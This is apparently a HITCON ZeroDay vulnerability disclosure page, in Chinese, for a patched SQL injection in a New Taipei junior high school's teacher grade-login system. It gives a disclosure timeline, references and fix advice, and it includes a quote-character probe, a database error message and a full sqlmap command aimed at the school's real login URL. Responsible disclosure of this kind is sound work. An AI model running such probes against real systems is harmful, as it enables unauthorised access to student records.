Vulnerability Overview

ZDID: ZD-2025-00759
發信 Vendor: 新北市政府教育局
Title: 新北市立中山國民中學系統成績管理 SQL Injection 漏洞
Introduction: 系統成績管理登入頁面存在 SQL Injection 漏洞，可導致資料庫資訊外洩及認證繞過

處理狀態

目前狀態

公開

Last Update : 2025/08/09

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2025/07/19 22:24:52 : 新提交 (由肉更新此狀態)
2025/07/22 13:16:39 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/08/01 18:17:15 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/08/01 18:17:15 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/08/05 13:25:07 : 已修補 (由組織帳號更新此狀態)
2025/08/05 16:16:09 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2025/08/05 16:49:04 : 確認已修補 (由肉更新此狀態)
2025/08/09 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2025-00759
通報者：kevin2758 (肉)
風險：高
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

漏洞概述

成績管理系統的教師登入功能存在 SQL Injection 漏洞。

驗證方式

在密碼欄位輸入：test'
系統回傳資料庫錯誤訊息：
用sqlmap再度確認

在密碼欄位輸入：test'

Microsoft JET Database Engine 錯誤 '80040e14'
查詢運算式 'teacherpw='test''' 中的字串語法錯誤。
/eclassroom/LTscoreManageCheck.asp, 行60

使用sqlmap 確認為 Boolean-based blind SQL Injection

sqlmap -u "http://cloudclass.csjh.ntpc.edu.tw/eclassroom/LTscoreManageCheck.asp" \
  --data="PassWord=test" \
  --method=POST \
  -p PassWord \
  --dbms=access \
  --batch \
  --threads=1 \
  --banner

影響

可繞過登入驗證
可能存取學生成績資料
資料庫使用 Microsoft Access，安全性較弱

修補建議

1. 使用參數化查詢取代字串串接
2. 隱藏錯誤訊息細節

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

新北市立中山國民中學系統成績管理 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report